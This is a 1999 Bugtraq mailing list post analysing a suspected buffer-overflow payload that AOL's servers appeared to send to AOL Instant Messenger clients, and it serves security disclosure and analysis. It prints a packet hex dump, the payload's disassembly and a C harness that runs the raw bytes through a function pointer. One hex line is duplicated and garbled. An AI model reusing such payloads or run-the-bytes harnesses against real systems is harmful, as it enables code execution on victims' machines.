Bugtraq mailing list archives

AOL Buffer Overflow???


From: bugtraq () NETWORKICE COM (Robert Graham)
Date: Mon, 16 Aug 1999 23:42:07 -0700


/*
Possible Buffer Overflow in AOL Instant Messenger
------------------------------------------------------------
Robert Graham
http://www.robertgraham.com/pubs/aol-exploit/

It appears to me that AOL might be running a buffer-overflow
exploit against their own clients.

BEFORE DOING ANYTHING ELSE: log onto AOL Instant Messaging and
take a trace of it with NetMon/tcpdump/Sniffer/etc. If this is
really happening, then AOL will likely fix it soon.

DETAILS
------------------------------------------------------------

Last friday I read the following in the NYTimes:
http://www.nytimes.com/library/tech/99/08/biztech/articles/13soft.html

This story brings up the implication that America Online might
be running a "buffer-overflow exploit" on in its own users.
They have already made 13 changes to their server code in
the past few weeks in order to stop Microsoft's clones from
working, so this may be yet another attempt.

According to whay I see, it appears to me that this implication
is correct. I see something that looks a lot like a buffer overflow
exploit when sniffing the connection between the client and AOL's servers.

You can reproduce this yourself:

1. log onto AOL Instant Messenger with the latest client that
   comes with Communicator version WIN32 2.0.912, aka 2.0N.
   (Click on [File/Help/Report a bug] to get the real version).

2. take a packet trace of the login procedures (I use NetMon).

3. look for the frame that I describe below.

4. copy/paste the frame data into the C program as I demonstrate
   below.

5. step through the code in the debugger and disassemble it

THE PACKET
------------------------------------------------------------

AOL has removed their documentation from the Internet recently.
I had to download the GAIM (AIM client for Linux) source
code to figure things out.

A TCP connection is used. The format for each request/response
in the login process is:

byte[0] = 0x2a
byte[1] = 0x02 (type = 2 =login)
byte[2-3] = sequence number
byte[4-5] = length
byte[6-7] = type
byte[8-9] = subtype

However, multiple requests/responses can be queued into
a single packet. Following is the entire TCP packet I received
from the AOL server to my client:

00000000  00 00 BA 5E BA 11 00 A0 C9 B0 5E BD 08 00 45 00 ...^......^...E.
00000010  01 90 35 2A 40 00 7F 06 AF 73 0A 00 00 02 0A 00 ..5*@...s......
00000020  01 C9 04 38 0D 7F 25 F8 E3 A3 0C 19 A5 14 50 18 ...8.%.......P.
00000030  6E B5 4C E2 00 00/2A 02 31 F8 00 0C 00 0B 00 02 n.L...*.1.......
00000040  00 00 80 A2 F1 D5 04 B0/2A 02 31 F9 01 28 00 01 ........*.1..(..
00000050  00 13 00 00 80 A2 F1 D6 00 FF 00 0B 01 18*83*C4 ................
00000060  10 4F 8D 94 24 E4 FE FF FF 8B EC 03 AA F8 00 00 .O..$...........
00000070  00 90 90 90 90 8B 82 F0 00 00 00 8B 00 89 82 4E ...............N
00000080  00 00 00 8B 4D 04 03 8A F4 00 00 00 8D 82 42 00 ....M.........B.
00000090  00 00 89 45 10 B8 10 00 00 00 89 45 0C C9 FF E1 ...E.......E....
000000A0  00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 ................
000000B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 ................
00000150  08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 ..)...D.........
00000160  00 00 08 01 00 00 00 00 00 00 90 47 40 00 F8*E9*00000160  00 00 08 01 00 00 00 00 00 00 90 47 40 00 
F8*E9*...........G@...
00000170  EA FE FF FF 00 00/2A 02 31 FA 00 22 00 01 00 13 ......*.1.."....
00000180  00 00 80 A2 F1 D7 00 04 00 0B 00 12 68 74 74 70 ............http
00000190  3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D       ://www.aol.com

There are three AIM segments in this packet, which I've
marked with slashes in the above decode. (Remember that
TCP is a stream based protocol, so application protocols
have to figure out their own boundaries, and you often
see multiple segments in a single TCP packet). The
second segment is of interest here, as marked by
the slashes.

It seems like the first byte of the embedded code
starts at the byte with the value 0x83 at offset 0x53
However, this isn't the buffer overflow, but the start of the
buffer itself. Immediately proceeding this is what appears to
be a length field. I'm thinking they only allow for a max
length of 256 (0x100), but the length field has an
extra 0x18 bytes. So if we go 256 bytes into the buffer,
we get some more stuff that looks like code.

I haven't analyzed all this stuff, but it appears that at
the end of the overflow section, it jumps back to the start
of the buffer that contains the code of the exploit.
[You only get so much wriggle room where you overflow,
because the more you overflow, the more of the stack you
overwrite; so the overflowed section has to be as small
as possible, and jump backwards to actually run something].

THE DECODE
------------------------------------------------------------

In this section, I have done a decode of all the bytes
in the segment. To the left are the original bytes,
to the right is either the protocol interpretation
or the disassembled output. These bytes are
in the same order as in the original packet.

2A 02                          parse of logon sequence
31 F9                          sequence number
01 28                          length of this segment
00 01 00 13                    type/subtype field of this packet
00 00 80 A2 F1 D6 00 FF 00 0B  unknown data
01 18                          length of data field

83 C4 10             add         esp,10h
4F                   dec         edi
8D 94 24 E4 FE FF FF lea         edx,dword ptr [esp-11Ch]
8B EC                mov         ebp,esp
03 AA F8 00 00 00    add         ebp,dword ptr [edx+0F8h]
90                   nop
90                   nop
90                   nop
90                   nop
8B 82 F0 00 00 00    mov         eax,dword ptr [edx+0F0h]
8B 00                mov         eax,dword ptr [eax]
89 82 4E 00 00 00    mov         dword ptr [edx+4Eh],eax
8B 4D 04             mov         ecx,dword ptr [ebp+4]
03 8A F4 00 00 00    add         ecx,dword ptr [edx+0F4h]
8D 82 42 00 00 00    lea         eax,dword ptr [edx+42h]
89 45 10             mov         dword ptr [ebp+10h],eax
B8 10 00 00 00       mov         eax,10h
89 45 0C             mov         dword ptr [ebp+0Ch],eax
C9                   leave
FF E1                jmp         ecx

00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 filler
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 block
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 that
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 doesn't
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 mean
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 much
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 start of
08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 overflow
00 00 08 01 00 00 00 00 00 00
90 47 40 00                                         jump address?
F8                                              unknown

E9 EA FE FF FF       jmp         back_to_start_of_buffer

00 00

You'll notice that there appears to be other code that
I haven't disassembled. I would have to second-guess
the original source, and I don't quite feel like it.

How to disassemble this? The easiest way is simply
to paste the data bytes into a program and RUN the code.

In theory, you could create a sample program that would
actually run this code completely without crashing
but that would take A LOT of effort.

THE CODE TO TEST IT
------------------------------------------------------------
*/

/* The data from the packet, starting at where I believe the data field
 * begins.*/
unsigned char packet[] = {0x83, 0xC4,
0x10, 0x4F, 0x8D, 0x94, 0x24, 0xE4, 0xFE, 0xFF,
0xFF, 0x8B, 0xEC, 0x03, 0xAA, 0xF8, 0x00, 0x00,
0x00, 0x90, 0x90, 0x90, 0x90, 0x8B, 0x82, 0xF0,
0x00, 0x00, 0x00, 0x8B, 0x00, 0x89, 0x82, 0x4E,
0x00, 0x00, 0x00, 0x8B, 0x4D, 0x04, 0x03, 0x8A,
0xF4, 0x00, 0x00, 0x00, 0x8D, 0x82, 0x42, 0x00,
0x00, 0x00, 0x89, 0x45, 0x10, 0xB8, 0x10, 0x00,
0x00, 0x00, 0x89, 0x45, 0x0C, 0xC9, 0xFF, 0xE1,
0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x10,
0x08, 0x11, 0x29, 0xEC, 0xFF, 0xFF, 0x44, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x90, 0x47, 0x40, 0x00, 0xF8, 0xE9,
0xEA, 0xFE, 0xFF, 0xFF, 0x00, 0x00, 0x2A, 0x02,
0x31, 0xFA, 0x00, 0x22, 0x00, 0x01, 0x00, 0x13,
0x00, 0x00, 0x80, 0xA2, 0xF1, 0xD7, 0x00, 0x04,
0x00, 0x0B, 0x00, 0x12, 0x68, 0x74, 0x74, 0x70,
0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x61,
0x6F, 0x6C, 0x2E, 0x63, 0x6F, 0x6D};

/* Function point that will point to the buffer above */
void (*foo)();

int main()
{
        /* Set to the point where it overflows (256-characters in),
         * then add an offset to the jmp instruction that jumps back
         * to the begining */
        foo = packet+256+0x11;

        /* In MS DevStudio, put a break point here, and then turn on
         * disassembly mode [View/Debug Windows/Disassembly]. This will
         * allow you to single step each assembly intruction, and will
         * disassemble them for you. Also, turn on view of the original
         * bytes by righ-hand-mouse-clicking on the disassembly and
         * selecting [Code Bytes].
         */
        foo();

        return 0;
}


Current thread: